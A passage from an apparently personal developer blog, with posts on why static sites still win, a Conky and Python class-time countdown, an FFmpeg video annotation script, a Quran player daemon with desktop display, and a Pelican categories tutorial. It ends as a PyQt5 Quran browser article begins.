For the past decade, the web has been obsessed with complexity.

We moved from simple server-rendered pages… to heavy client-side frameworks… to hybrid systems trying to fix the problems they introduced in the first place.

And somewhere along the way, a quiet question started to resurface:

What if most of this isn’t necessary?

This is where static websites come back—not as a nostalgic choice, but as a deliberate engineering decision.

In this article, I’ll show you why static sites still win in 2026—and why they’re the foundation for everything we’re going to build in this series.

•Prefer video? Watch the full explanation:

The Pendulum Always Swings

The web has gone through clear phases:

•Early Web: Pure HTML, simple, fast, but limited.

•Dynamic Era: PHP, databases, server-side rendering everywhere.

•SPA Boom: React, Vue, Angular—everything moved to the browser.

•Modern Hybrid: SSR + hydration + edge rendering (trying to balance performance and flexibility).

Each step solved problems… and introduced new ones.

Now we’re seeing a correction:

Static sites, but smarter.

Not just HTML files—but precomputed systems that deliver speed without sacrificing modern UX.

Performance: Static Is Still King

Let’s strip everything down to what matters: how fast your site loads.

A static site:

• Requires no server processing

• Has no database queries

• Delivers prebuilt HTML directly from a CDN

That means:

•Time To First Byte (TTFB): almost instant

•Rendering: immediate—no hydration delay

•Consistency: same performance globally via CDN

Compare that to a typical modern stack:

• Server-side rendering → compute cost + latency

• Client-side hydration → JavaScript execution delay

• API calls → additional round trips

Even with optimizations, you’re fighting complexity.

With static?

You start fast by design.

Simplicity Is a Feature

Most modern stacks require:

• A backend (Node, Python, etc.)

• A database

• Deployment pipelines

• Environment management

A static site removes almost all of that.

•No backend: just files

•No database: content is your data

•No runtime: everything is prebuilt

You can deploy a static site to:

• A CDN

• Object storage

• Even a simple file server

Scaling becomes trivial because there’s nothing to scale.

No servers. No processes. No surprises.

Security: The Overlooked Advantage

Security is rarely discussed in frontend conversations—but it should be.

A dynamic site exposes:

• Server-side code execution

• Database access

• Authentication systems

• API endpoints

Every one of these is a potential attack surface.

A static site?

•No server logic

•No database

•No injection vectors

You’re essentially serving immutable files.

That drastically reduces risk.

Cost: Almost Zero

Let’s talk money.

A typical dynamic setup might involve:

• Hosting (VPS or managed platform)

• Database costs

• Scaling costs under load

A static site:

• Can be hosted for free on many platforms

• Uses CDN bandwidth (cheap or free tiers)

• Has no runtime compute cost

You can handle thousands—or millions—of requests without touching your infrastructure.

You pay almost nothing for massive scale.

“But Static Sites Are Limited…”

This is the usual objection.

And it’s not wrong.

Out of the box, static sites don’t give you:

• Comments

• Search

• Real-time filtering

• User interaction

That’s why most developers jump straight to frameworks.

But here’s the key idea:

You don’t need a backend for most of these features.

You need:

• Smart precomputation

• Client-side enhancements

• Lightweight integrations

In other words:

Static doesn’t mean limited—it means intentional.

What We’re Building in This Series

This series is not about “basic Pelican tutorials.”

We’re going to build a site that:

• Loads instantly

• Has instant search (no backend)

• Supports dynamic filtering

• Includes comments

• Feels like a modern app

But under the hood?

It’s still static.

No heavy frameworks. No unnecessary complexity.

Just smart engineering.

What’s Next

In the next article, we’ll break down exactly what you “lose” with static sites—and how we’re going to rebuild those features step by step.

After that, we’ll start building the foundation using Pelican, but with a developer-first approach—not beginner boilerplate.

If you’re used to modern frameworks, this might feel different at first.

But once it clicks, you’ll start seeing the web in a completely different way.

This is where we stop chasing complexity—and start removing it.

•Prefer video? Watch the full explanation:

Tracking Class Time Precisely with Conky and Python

2026-04-18T16:41:23+00:00

As a math teacher, timing is everything.

Between explaining a concept, writing on the board, and answering questions, it’s easy to lose track of time. In our context—tight schedules, short breaks, and special timetables like Ramadan—precision matters.

So I built a lightweight system that runs automatically when I start my PC and shows me one thing: how many minutes are left in the current class period.

🧠 Overview

This setup is based on two components:

•Conky: displays the result directly on the desktop

•Python: calculates the remaining time

The result is a large number on the screen that updates every second.

⚙️ Step 1: Startup Command

Add this command to your startup (e.g., .xprofile, .bashrc, or your window manager autostart):

nohup conky -c ~/.config/conky/regular_time </dev/null >/dev/null 2>&1 & disown

🖥️ Step 2: Conky Configuration

Create the file:

~/.config/conky/regular_time

And add:

conky.config = {
    use_xft = true,
    font = 'DejaVu Sans Mono:size=230',
    xftalpha = 0.1,
    update_interval = 1,

    own_window = true,
    own_window_type = "override",
    own_window_transparent = true,
    own_window_hints = "undecorated,below,sticky,skip_taskbar,skip_pager",

    alignment = "top_middle",
    gap_x = -430,
    gap_y = 240,

    double_buffer = true,
    default_color = "white",
}

conky.text = [[
${exec python ~/.config/conky/regular_time.py}
]]

🐍 Step 3: Python Script (Regular Schedule)

Create:

~/.config/conky/regular_time.py

#!/bin/python

from datetime import datetime as dt
from datetime import timedelta

periods = [
    {'start': '08:00', 'end': '09:00'},
    {'start': '09:05', 'end': '10:00'},
    {'start': '10:10', 'end': '11:00'},
    {'start': '11:05', 'end': '12:00'},
    {'start': '14:00', 'end': '15:00'},
    {'start': '15:05', 'end': '16:00'},
    {'start': '16:05', 'end': '17:00'},
    {'start': '17:05', 'end': '18:00'},
]

now = (dt.now() - timedelta(minutes=30)).time().strftime('%H:%M')

# Friday adjustment
if dt.now().weekday() == 4:
    now = (dt.now() - timedelta(minutes=60)).time().strftime('%H:%M')

for period in periods:
    if now >= period['start'] and now < period['end']:
        remaining = (
            dt.strptime(period['end'], '%H:%M') -
            dt.strptime(now, '%H:%M')
        ).total_seconds() // 60

        print(int(remaining))
        break

🕌 Step 4: Ramadan Schedule

Create:

~/.config/conky/ramadan_time.py

from datetime import datetime as dt

periods = [
    {'start': '08:40', 'end': '09:25'},
    {'start': '09:30', 'end': '10:15'},
    {'start': '10:25', 'end': '11:10'},
    {'start': '11:15', 'end': '12:00'},
    {'start': '12:30', 'end': '13:15'},
    {'start': '13:20', 'end': '14:05'},
    {'start': '14:15', 'end': '15:00'},
    {'start': '15:05', 'end': '15:50'},
]

# Friday Ramadan schedule
if dt.now().weekday() == 4:
    periods = [
        {'start': '08:30', 'end': '09:15'},
        {'start': '09:20', 'end': '10:05'},
        {'start': '10:15', 'end': '11:00'},
        {'start': '11:05', 'end': '11:50'},
        {'start': '13:40', 'end': '14:25'},
        {'start': '14:30', 'end': '15:15'},
        {'start': '15:25', 'end': '16:10'},
        {'start': '16:15', 'end': '17:00'},
    ]

now = dt.now().time().strftime('%H:%M')

for period in periods:
    if now >= period['start'] and now < period['end']:
        remaining = (
            dt.strptime(period['end'], '%H:%M') -
            dt.strptime(now, '%H:%M')
        ).total_seconds() // 60

        print(int(remaining))
        break

🔁 Step 5: Switch Between Modes

To use Ramadan mode, simply change your Conky config:

${exec python ~/.config/conky/ramadan_time.py}

No other changes needed.

🎯 Why This Works Well

•Always visible: no need to check the clock

•Zero interaction: runs automatically at startup

•Accurate pacing: helps manage lessons better

•Adaptable: supports Ramadan and Friday schedules

🚀 Possible Improvements

•Change color when time is low

•Add sound alerts

•Display current period number

•Merge both scripts into one with auto-detection

🧩 Final Thoughts

This is a small tool, but it has a real impact on daily teaching.

It removes the need to constantly think about time and lets me focus entirely on explaining math and interacting with students.

Annotating Videos with FFmpeg Using a Python Script

2026-02-10T23:31:55+00:00

Introduction

Annotating videos is a common requirement in tutorials, software demos, online courses, and technical documentation. Whether you want to highlight steps, explain on-screen actions, or guide viewers through a workflow, text overlays can dramatically improve clarity.

In this article, I’ll walk you through a practical and flexible approach to video annotation using a custom Python script built on top of FFmpeg. The script allows you to define annotations in a JSON file, control their timing and appearance, and generate a clean, annotated output video—all from the command line.

What This Script Does

The provided Python script acts as a lightweight video annotation engine. At a high level, it:

•Reads annotations from a JSON file: Each annotation defines text, timing, position, and style.

•Generates temporary text files: This avoids escaping issues and ensures UTF‑8 compatibility.

•Builds an FFmpeg drawtext filter dynamically: One filter per annotation.

•Encodes the final video: Using H.264 by default, with configurable quality and presets.

The result is a reusable, automation‑friendly tool that fits perfectly into scripting workflows.

Prerequisites

Before using the script, make sure you have the following installed:

•Python 3.8+: The script relies on dataclasses and pathlib.

•FFmpeg: Must be available in your PATH.

•A TrueType font (.ttf): DejaVu Sans is used by default.

You can verify FFmpeg with:

ffmpeg -version

Understanding the Annotation Model

Each annotation is represented by a simple data structure:

@dataclass
class Annotation:
    text: str
    start_time: float
    duration: float
    position: str = "top"
    bg_color: str = "black@0.7"
    text_color: str = "white"
    font_size: int = 28
    font_path: Optional[str] = None

This makes annotations expressive yet easy to reason about. Timing is defined in seconds, while visual appearance is controlled via FFmpeg-compatible color and font options.

The JSON Annotation File

Annotations are defined in a JSON array. This separation of data from logic makes the tool extremely flexible.

[
  {
    "text": "Lancement de l'application LaTeX Exam Generator",
    "start_time": 0.0,
    "duration": 4.5,
    "position": "top",
    "bg_color": "black@0.7",
    "text_color": "white",
    "font_size": 32
  },
  {
    "text": "Chargement des modèles d'examens",
    "start_time": 5.0,
    "duration": 3.0,
    "position": "center",
    "bg_color": "rgba(0,0,0,0.6)",
    "text_color": "yellow",
    "font_size": 28
  }
]

This format is ideal for version control, automation, and even generating annotations programmatically.

Supported Positions and Colors

The script supports three vertical positions:

•top: Near the top of the video

•center: Vertically centered

•bottom: Near the bottom, with padding

For colors, FFmpeg offers great flexibility:

•Named colors: white, black, red, yellow

•Hex with alpha: #000000@0.75

•RGBA format: rgba(0,0,0,0.6)

Command-Line Usage

The script is designed to feel like a polished CLI tool.

annotator input.mp4 annotations.json

If no output file is specified, the script automatically generates:

input_annotated.mp4

Common Options

annotator input.mp4 annotations.json \
  --output_file output.mp4 \
  --crf 18 \
  --preset slow \
  --font /path/to/font.ttf

These options give you fine-grained control over quality, encoding speed, and typography.

How the FFmpeg Filter Works

Internally, the script builds a filter_complex string composed of multiple drawtext filters. Each filter is enabled only during its time window:

enable='between(t,start,end)'

This approach avoids splitting the video or re-running FFmpeg multiple times, keeping the process efficient and clean.

Why This Approach Scales Well

This design has several advantages:

•Automation-friendly: Perfect for batch processing videos.

•Separation of concerns: JSON handles content, Python handles logic.

•FFmpeg-native: No external rendering libraries required.

•Reproducible: Same input always produces the same output.

The full script:

    
#!/usr/bin/env python3
import subprocess
import json
import sys
from pathlib import Path
from dataclasses import dataclass
from typing import Optional, List
import argparse

@dataclass
class Annotation:
    """Represents a video annotation with styling options."""
    text: str
    start_time: float
    duration: float
    position: str = "top"  # "top", "center", "bottom"
    bg_color: str = "black@0.7"
    text_color: str = "white"
    font_size: int = 28
    font_path: Optional[str] = None

class VideoAnnotator:
    def __init__(self, input_file: str, output_file: str,
                 default_font: str = "/usr/share/fonts/TTF/DejaVuSans.ttf",
                 video_codec: str = "libx264",
                 audio_codec: str = "copy",
                 crf: int = 23,
                 preset: str = "medium"):
        self.input_file = input_file
        self.output_file = output_file
        self.default_font = default_font
        self.video_codec = video_codec
        self.audio_codec = audio_codec
        self.crf = crf
        self.preset = preset
        self.tmp_dir = Path(".ffmpeg_text")
        self.tmp_dir.mkdir(exist_ok=True)
        self.annotations: List[Annotation] = []

    def add_annotation(self, annotation: Annotation):
        self.annotations.append(annotation)

    def load_annotations_from_json(self, json_file: str):
        """Load annotations from a JSON file, filling defaults where missing."""
        with open(json_file, "r", encoding="utf-8") as f:
            data = json.load(f)
        for item in data:
            ann = Annotation(
                text=item["text"],
                start_time=float(item["start_time"]),
                duration=float(item["duration"]),
                position=item.get("position", "top"),
                bg_color=item.get("bg_color", "black@0.7"),
                text_color=item.get("text_color", "white"),
                font_size=item.get("font_size", 28)
            )
            self.add_annotation(ann)

    def _create_text_files(self):
        for i, ann in enumerate(self.annotations):
            text_file = self.tmp_dir / f"text_{i}.txt"
            text_file.write_text(ann.text, encoding="utf-8")

    def _build_filter_complex(self) -> str:
        filter_parts = []
        for i, ann in enumerate(self.annotations):
            end_time = ann.start_time + ann.duration
            font = ann.font_path or self.default_font
            text_file = self.tmp_dir / f"text_{i}.txt"

            padding = 10

            if ann.position == "top":
                y_expr = f"{padding}"
            elif ann.position == "center":
                y_expr = "(h-text_h)/2"
            else:  # bottom
                y_expr = f"h-text_h-{padding}"

            text_filter = (
                f"drawtext=fontfile='{font}':textfile='{text_file}':"
                f"fontcolor={ann.text_color}:fontsize={ann.font_size}:"
                f"x=(w-text_w)/2:y={y_expr}:"
                f"box=1:boxcolor={ann.bg_color}:boxborderw={padding}:"
                f"enable='between(t,{ann.start_time},{end_time})'"
            )
            filter_parts.append(text_filter)
        return ",".join(filter_parts)

    def run(self):
        if not self.annotations:
            print("⚠️ No annotations added.")
            return

        self._create_text_files()
        filter_complex = self._build_filter_complex()

        cmd = [
            "ffmpeg",
            "-y",
            "-i", self.input_file,
            "-vf", filter_complex,
            "-c:v", self.video_codec,
            "-preset", self.preset,
            "-crf", str(self.crf),
            "-c:a", self.audio_codec,
            "-movflags", "+faststart",
            self.output_file
        ]

        print("▶ Exécution FFmpeg…")
        print(f"Nombre d'annotations : {len(self.annotations)}")

        try:
            subprocess.run(cmd, check=True)
            print(f"✅ Vidéo annotée générée : {self.output_file}")
        except subprocess.CalledProcessError as e:
            print(f"❌ Erreur lors de la génération: {e}")
        finally:
            self.cleanup()

    def cleanup(self):
        if self.tmp_dir.exists():
            for file in self.tmp_dir.glob("*.txt"):
                try:
                    file.unlink()
                except:
                    pass


def create_help_text():
    """Create comprehensive help text with examples."""
    example_json = [
        {
            "text": "Lancement de l'application LaTeX Exam Generator",
            "start_time": 0.0,
            "duration": 4.5,
            "position": "top",
            "bg_color": "black@0.7",
            "text_color": "white",
            "font_size": 32
        },
        {
            "text": "Chargement des modèles d'examens",
            "start_time": 5.0,
            "duration": 3.0,
            "position": "center",
            "bg_color": "rgba(0,0,0,0.6)",
            "text_color": "yellow",
            "font_size": 28
        },
        {
            "text": "Export du sujet en PDF",
            "start_time": 9.5,
            "duration": 4.0,
            "position": "bottom",
            "bg_color": "#000000@0.75",
            "text_color": "white",
            "font_size": 26
        }
    ]

    help_text = f"""
Annotate a video with text boxes from a JSON file of annotations.

USAGE:
  annotator video_file annotations_json [OPTIONS]

REQUIRED ARGUMENTS:
  video_file         Path to the input video file
  annotations_json   Path to JSON file with annotations

OPTIONS:
  --output_file FILE   Path to the output video file (default: input_filename_annotated.ext)
  --font FONT          Path to TTF font file (default: /usr/share/fonts/TTF/DejaVuSans.ttf)
  --video_codec CODEC  Video codec for output (default: libx264)
  --audio_codec CODEC  Audio codec for output (default: copy)
  --crf VALUE          CRF quality (lower is better quality, 18-28 recommended, default: 23)
  --preset PRESET      FFmpeg preset for encoding (ultrafast, superfast, veryfast, faster,
                       fast, medium, slow, slower, veryslow; default: medium)

JSON FILE FORMAT:
  The annotations file must be a JSON array of objects. Each object can have these fields:

  REQUIRED fields:
    text:        The text to display (string)
    start_time:  Start time in seconds (float)
    duration:    Duration in seconds (float)

  OPTIONAL fields (with defaults):
    position:    Text position - "top", "center", or "bottom" (default: "top")
    bg_color:    Background color (default: "black@0.7")
    text_color:  Text color (default: "white")
    font_size:   Font size in pixels (default: 28)

  Example JSON file:
{json.dumps(example_json, indent=2, ensure_ascii=False)}

COLOR FORMATS:
  - Named colors: white, black, red, green, blue, yellow, cyan, magenta
  - Hex with alpha: #RRGGBB@0.8 (0.0 transparent, 1.0 opaque)
  - RGBA format: rgba(255,0,0,0.7) where last value is alpha (0.0-1.0)

EXAMPLES:
  1. Basic usage:
     annotator input.mp4 annotations.json

  2. With custom output and quality settings:
     annotator input.mp4 annotations.json --output_file output.mp4 --crf 18 --preset slow

  3. With custom font:
     annotator input.mp4 annotations.json --font /path/to/font.ttf

NOTES:
  - The JSON file must be UTF-8 encoded
  - Font file must be a TrueType font (.ttf)
  - Video is encoded with H.264 by default, adjust --video_codec for other formats
  - Audio is copied without re-encoding by default
"""
    return help_text


def parse_args():
    parser = argparse.ArgumentParser(
        description="Annotate a video with text boxes from a JSON file of annotations.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="For complete documentation, run 'annotator --help'."
    )

    # Add custom help option that shows full documentation
    parser.add_argument(
        "--help-full",
        action="store_true",
        help="Show comprehensive help with examples"
    )

    parser.add_argument("video_file", nargs="?", help="Path to the input video file")
    parser.add_argument("annotations_json", nargs="?", help="Path to JSON file with annotations")

    parser.add_argument("--output_file", default=None,
                        help="Path to the output video file (default: input_filename_annotated.ext)")
    parser.add_argument("--font", default="/usr/share/fonts/TTF/DejaVuSans.ttf",
                        help="Path to TTF font file (default: DejaVuSans)")
    parser.add_argument("--video_codec", default="libx264",
                        help="Video codec for output (default: libx264)")
    parser.add_argument("--audio_codec", default="copy",
                        help="Audio codec for output (default: copy)")
    parser.add_argument("--crf", type=int, default=23,
                        help="CRF quality (lower is better quality, default: 23)")
    parser.add_argument("--preset", default="medium",
                        help="FFmpeg preset for encoding speed/quality (default: medium)")

    return parser.parse_args()


def main():
    args = parse_args()

    # Show full help if --help-full is specified
    if args.help_full:
        print(create_help_text())
        sys.exit(0)

    # Check for required arguments if not showing help
    if not args.video_file or not args.annotations_json:
        print("Error: Missing required arguments\n")
        print("Usage: annotator video_file annotations_json [OPTIONS]")
        print("\nFor comprehensive help with examples, use: annotator --help-full")
        print("For brief help, use: annotator --help")
        sys.exit(1)

    # Determine output file if not provided
    if args.output_file:
        output_file = args.output_file
    else:
        input_path = Path(args.video_file)
        output_file = str(input_path.with_name(input_path.stem + "_annotated" + input_path.suffix))

    annotator = VideoAnnotator(
        input_file=args.video_file,
        output_file=output_file,
        default_font=args.font,
        video_codec=args.video_codec,
        audio_codec=args.audio_codec,
        crf=args.crf,
        preset=args.preset
    )

    annotator.load_annotations_from_json(args.annotations_json)
    annotator.run()


if __name__ == "__main__":
    main()

Conclusion

Annotating videos doesn’t have to involve heavy GUI tools or manual editing. With a well-structured Python script and FFmpeg’s powerful drawtext filter, you can generate professional, timed annotations directly from JSON data.

This script is especially useful for technical demos, educational content, and automated video pipelines. Feel free to extend it with animations, transitions, or even dynamic annotation generation.

If you’re interested in pushing this further—such as subtitle export, multi-language overlays, or integration into a web interface—there’s plenty of room to build on this foundation. Happy annotating 🚀

Quran Player Daemon: Audio Playback with Desktop Visualization

2025-07-24T01:05:02+00:00

The Quran Player Daemon is a Python-powered background service built to provide uninterrupted Quranic audio playback while displaying the corresponding verse directly on your desktop using Conky. This elegant combination is ideal for personal devotion, Islamic display panels, or memorization tools. The daemon intelligently manages verse transitions, preserves playback state, and handles Arabic rendering with care.

•Persistent background daemon: enables continuous playback

•Auto verse navigation: seamlessly moves to the next verse

•Custom repeat ranges: for focused memorization or recitation

•Arabic text rendering: with correct shaping and font support

•Cross-platform playback: supports multiple audio engines

•Session persistence: remembers last played verse

•Conky integration: renders verses live on your desktop

Daemon Architecture

At its core, the daemon manages Quranic audio playback and socket communication. Here's how it initializes:


def handle_start(self):
    if not self.verify_audio_config():
        sys.exit(1)

    self.audio_player = AudioPlayer(config, self.log_action)
    with open(config.LOCK_FILE, 'w') as f:
        portalocker.lock(f, portalocker.LOCK_EX)

    with open(config.PID_FILE, "w") as pid_file:
        pid_file.write(str(os.getpid()))

    server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    server.bind(config.SOCKET_FILE)
    server.listen(5)
    self.log_action("INFO", "Daemon started. Listening for commands.")

Robust Audio Handling

The audio backend uses pygame's mixer with retry logic:


class AudioPlayer:
    def init_audio(self, max_retries=3):
        for attempt in range(max_retries):
            try:
                pygame.mixer.init(
                    frequency=44100,
                    size=-16,
                    channels=2,
                    buffer=1024
                )
                return True
            except pygame.error:
                time.sleep(1)
        return False

Arabic Text Rendering

Arabic text is shaped and rendered into an image, supporting right-to-left alignment:


def render_arabic_text_to_image(text, output_path, config):
    font = ImageFont.truetype(config['image']['FONT_FILE'], 48)
    image = Image.new("RGBA", (1240, 800), (0, 0, 0, 0))
    draw = ImageDraw.Draw(image)

    # Assume line-by-line rendering has been calculated
    draw.text((image.width - text_width - 20, y), line,
              font=font, fill=color, direction="rtl")
    image.save(output_path, "PNG")

Conky Integration

Verses are displayed using Conky for a minimal, non-intrusive overlay:

Quran Verse Displayed on Desktop via Conky


conky.config = {
    font = 'Amiri:size=38',
    own_window = true,
    own_window_type = "override",
    own_window_transparent = true,
    alignment = "top_middle",
    gap_x = 25,
    gap_y = 140
}

conky.text = [[
${alignr}${execi 0.5 /path/to/reshape_arabic.sh | head -n 1}
${alignr}${execi 0.5 /path/to/reshape_arabic.sh | sed -n '2p'}
]]

The reshaping script:


#!/bin/bash
# reshape_arabic.sh

arabic_text="$(cat /tmp/quran_verse.txt)"
reshaped_text=$(python reshape_arabic.py "$arabic_text")
echo "$reshaped_text"

Playback and Navigation

Playback auto-advances to the next verse intelligently:


def handle_playback_end(self):
    next_verse = self.get_next_verse()
    if next_verse:
        self.current_verse = next_verse
        self.play_verse(next_verse)

Navigation adapts based on repeat range:


def get_next_verse(self):
    if self.repeat_range:
        start, end = self.repeat_range
        return (surah, (ayah + 1) if ayah < end else start)
    else:
        return (surah, ayah + 1) if ayah < max_ayah else (surah + 1, 0)

Configuration Management


class ConfigManager:
    def __init__(self):
        self.USER_CONFIG_DIR = "~/.config/quran-player"
        self.STATE_FILE = os.path.join(self.USER_CONFIG_DIR, "playback_state.ini")
        self.config = self._load_config()

Installation Guide

The project includes an installer for easy setup:


#!/bin/bash
# install.sh

INSTALL_DIR="$HOME/.quran-player"

copy_application_files() {
    cp daemon.py config_manager.py "$INSTALL_DIR/"
    cp -r audio quran-text "$INSTALL_DIR/"
}

create_cli_wrappers() {
    cat > /usr/local/bin/quran-daemon <<EOF
#!/bin/bash
"$INSTALL_DIR/env/bin/python" "$INSTALL_DIR/daemon.py" "\$@"
EOF
    chmod +x /usr/local/bin/quran-daemon
}

Basic Commands


# Start the daemon
quran-daemon start

# Load specific verse
quran-daemon load 1:1

# Repeat verses 1–7 of Al-Fatiha
quran-daemon repeat 1:1:7

# Show daemon status
quran-daemon status

Performance Highlights

•Thread-based architecture: minimal CPU usage

•Async I/O operations: non-blocking design

•Audio resource optimization: smart reinitialization

•Socket pooling: avoids redundant connections

•Log rotation: keeps disk usage under control


def rotate_log_if_needed(self, logfile):
    max_size = 1_000_000  # 1MB
    if os.path.getsize(logfile) >= max_size:
        os.rename(logfile, f"{logfile}.1")

Real-World Applications

•Islamic Kiosks: Raspberry Pi-powered Quranic display

•Mosques: desktop verse projection during prayer

•Quran Schools: aid in memorization and repetition

•Personal Use: background recitation during work

•Accessibility: support for visually impaired learners

Final Thoughts

The Quran Player Daemon showcases how modern Python tooling can be used to build spiritually meaningful, technically elegant applications. Through Conky and Arabic text processing, it offers a beautiful and non-intrusive way to stay connected with the Quran. Open-source and modular, it's ready for integration with translations, prayer reminders, or mobile extensions.

Resources:

• Project Repo: github.com/neoMOSAID/quran-player

• Conky Docs: conky.sourceforge.net

• Arabic Reshaper: pypi.org/project/arabic-reshaper

Complete Tutorial: Creating Categories and Subcategories Using Pages in Pelican

2025-06-24T17:20:17+00:00

Introduction: Why Static Websites Can Beat Dynamic Ones

In the web development world, dynamic websites built with platforms like WordPress, Flask, or Laravel often get all the attention. They provide databases, admin dashboards, and real-time interactivity. However, there’s a quiet champion that often goes overlooked: the static website.

Static websites, like the ones built with Pelican, are incredibly fast, secure, and require very little maintenance. There’s no backend database to worry about, no server-side code that can break or get hacked, and the speed is unmatched because the server simply delivers pre-built HTML files.

What’s even better? You can simulate categories and subcategories using only pages and folders, without complex taxonomies or dynamic systems. Let me walk you through the process step-by-step, using my actual setup.

1. Setting Up Your Python Environment and Pelican Project

Let’s start from scratch.

•Create a new Python environment: It’s always a good idea to isolate your project.

    
python3 -m venv env
source env/bin/activate

•Install Pelican:

    
pip install "pelican[markdown]"
pip install pelican-sitemap pelican-related-posts pelican-neighbors pelican-render-math pelican-jinja2content

•Create your Pelican project:

    
pelican-quickstart

You’ll be asked a few questions:

The site title
Your author name
The site URL (you can leave it empty for now)

Pelican will create a basic directory structure for you.

   
my-pelican-site/
├── content/
│   ├── articles/      # Optional if you write articles
│   ├── pages/         # General pages (about, contact, etc.)
│   ├── courses/       # Structured content for courses
│   ├── images/        # Static images
│   ├── pdfs/          # Static PDFs
│   └── extra/         # Additional files
├── output/            # Generated static site (HTML files) after building
├── pelicanconf.py     # Main configuration file
├── publishconf.py     # Production-specific settings (optional)
├── tasks.py           # Optional automation script
├── Makefile           # For quick commands like `make html` and `make serve`
├── requirements.txt   # Python dependencies (optional but recommended)
├── theme/             # Your custom Pelican theme
│   ├── templates/     # Jinja2 HTML templates
│   └── static/        # Theme-specific CSS, JS, images
└── pelican-plugins/   # Pelican plugins folder (if local)

2. Understanding the Key Components of a Pelican Project

Here’s what matters for our goal:

•content/ — where you will write your pages, courses, articles, etc.

•output/ — the generated static website (HTML files, ready to publish).

•pelicanconf.py — the main configuration file.

•themes/ — where you can customize the design of your website.

We will mostly focus on:

Organizing the content/ folder

Writing rich Markdown files with metadata

Configuring pelicanconf.py properly to simulate categories and subcategories using folders.

3. Setting Up Your Pelican Configuration

Here’s a stripped version of my real configuration focused on pages and folder hierarchy:

    

AUTHOR = 'your author name'
SITENAME = 'your site name'
SITEURL = ''

PATH = 'content'
TIMEZONE = 'UTC'
DEFAULT_LANG = 'en'

PLUGIN_PATHS = ['pelican-plugins']
PLUGINS = ['sitemap', 'related_posts', 'neighbors', 'render_math', 'jinja2content']

THEME = 'theme'
STATIC_PATHS = ['images', 'courses', 'extra', 'theme/static', 'pdfs']

PAGE_PATHS = ['pages', 'blogs', 'courses']

PAGE_URL = '{slug}.html'
PAGE_SAVE_AS = '{slug}.html'

PAGE_URLS = {'courses': 'courses/{subject}/{schoolyear}/{slug}.html'}
PAGE_SAVE_AS_TEMPLATES = {'courses': 'courses/{subject}/{schoolyear}/{slug}.html'}

DEFAULT_PAGINATION = 7

DIRECT_TEMPLATES = ['index', 'categories', 'tags', 'archives', 'courses']

Key Notes:

✔️ We tell Pelican where to find pages: 'pages', 'blogs', 'courses'

✔️ We build URLs for courses based on metadata: subject and school year.

✔️ We don’t use articles here because we’re simulating categories with pages.

4. How to Create a Page (with Metadata)

You can create a page by writing a Markdown file inside content/pages/ or content/courses/.

Here’s a basic example for a course page:

Create it as content/courses/mathematics/course-1.md

   
Title: Course 1
Date: 2025-06-24
Type: course
Subject: mathematics
SchoolYear: 2025
Save_as: courses/mathematics/2025/course-1.html
URL: courses/mathematics/2025/course-1.html

Welcome to the Calculus Course for the year 2025. This course covers the fundamentals of calculus...

✔️ The metadata at the top (Type, Subject, SchoolYear) is what allows us to identify a page type, category and subcategory and filter pages later in the templates

✔️ (URL, Save_as, ) gives us more control about saving the files

✔️ you can add other metadata if you want, like description, path to thumbnail..., and all will be accessible to the template

✔️ This page will automatically be saved as: output/courses/mathematics/2025/course-1.html

5. Creating the Illusion of Categories and Subcategories

Here’s the trick:

Subjects act as categories.
School years act as subcategories.

And it all comes from the metadata

When you build the site, Pelican will automatically generate:

    
output/
├── courses/
│   ├── mathematics/
│   │   ├── 2025/
│   │   │   └── calculus.html
│   │   └── 2024/
│   │       └── algebra.html
│   └── physics/
│       └── 2025/
│           └── mechanics.html

You’ve now created categories and subcategories without using Pelican’s built-in categories.

6. Building the Website

Run the following command to generate your site:

    
pelican content

Pelican will create the output/ folder containing your static site.

You can preview it using:

    
pelican --listen --autoreload --port 8001

Visit http://localhost:8001 to see your site in action.

7. Navigating the Structure on Your Website

Since we configured pelican to find a direct template courses we create it in the templates folder exactly named "courses.html"

and then , go crazy with your code, do something like:

    
<h2 class="mb-4">Browse All Courses</h2>

<div class="container mt-5">
    <h2 class="mb-4">Courses by Subject and School Year</h2>
    {% set subjects = pages | selectattr('metadata.type', 'equalto', 'course') | map(attribute='metadata.subject') | unique | sort %}
    <ul class="list-group">
        {% for subject in subjects %}
            <li class="list-group-item mb-3">
                <h4 class="mb-2">{{ subject | title }}</h4>
                {% set schoolyears = pages
                    | selectattr('metadata.type', 'equalto', 'course')
                    | selectattr('metadata.subject', 'equalto', subject)
                    | map(attribute='metadata.schoolyear')
                    | unique | sort %}
                <ul class="ml-4">
                    {% for year in schoolyears %}
                        <li class="mb-2">
                            <strong>{{ year.replace('-', ' ') | title }}</strong>
                            {% set courses = pages
                                | selectattr('metadata.type', 'equalto', 'course')
                                | selectattr('metadata.subject', 'equalto', subject)
                                | selectattr('metadata.schoolyear', 'equalto', year)
                                | sort(attribute='date', reverse=True) %}
                            <ul class="ml-4">
                                {% for course in courses %}
                                    <li class="mb-1">
                                        <a href="{{ SITEURL }}/{{ course.url }}" class="text-decoration-none text-primary">
                                            {{ course.title or course.metadata.coursetitle }}
                                        </a>
                                    </li>
                                {% endfor %}
                            </ul>
                        </li>
                    {% endfor %}
                </ul>
            </li>
        {% endfor %}
    </ul>
</div>

We go directly to http://localhost:8001/courses to see it in action.

Pelcan Generated Categories

8. Final Thoughts

By combining:

Rich metadata in your Markdown files
A clean folder hierarchy
Dynamic template filtering

You can build the illusion of a fully categorized, subcategorized website without using databases or complex backends.

It’s fast.

It’s secure.

It’s flexible.

You now have the power to create a blazing-fast static site that rivals, and in many ways outperforms, dynamic CMS platforms.

If you want to extend this system later, you can easily:

Add pagination
Track views
Create search pages using plugins like tipue_search

Quran Search: A Feature rich and modern design

2025-02-13T19:40:11+00:00

Exploring the Advanced Quran Browser: A Deep Dive into a Feature-Rich PyQt5 Application

In today's software landscape, creating applications that balance robust functionality with a smooth user experience is both an art and a science. The Quran Browser is a testament to this balance, offering an innovative solution for exploring and interacting with Quranic text. Built entirely with Python and PyQt5, this application integrates asynchronous search, dynamic audio playback, persistent user settings, and an intuitive interface—all designed to provide users with a rich and engaging experience.

Overview

At its core, the Quran Browser is designed to allow users to search, view, and listen to Quranic verses in a way that is both responsive and visually appealing. Whether you're looking up a specific verse, exploring the context around a recitation, or simply enjoying an immersive audio experience, this application has been meticulously crafted to meet your needs.

The application offers multiple modes of search:

•Text Search: Enter Arabic words or phrases to quickly locate the relevant verses.

•Surah Search: Directly select a surah (chapter) from a dropdown menu or enter its number.

•Direct Verse Lookup: Specify a combination of surah and ayah numbers to jump directly to a particular verse.

Architectural Highlights

Model–View Architecture

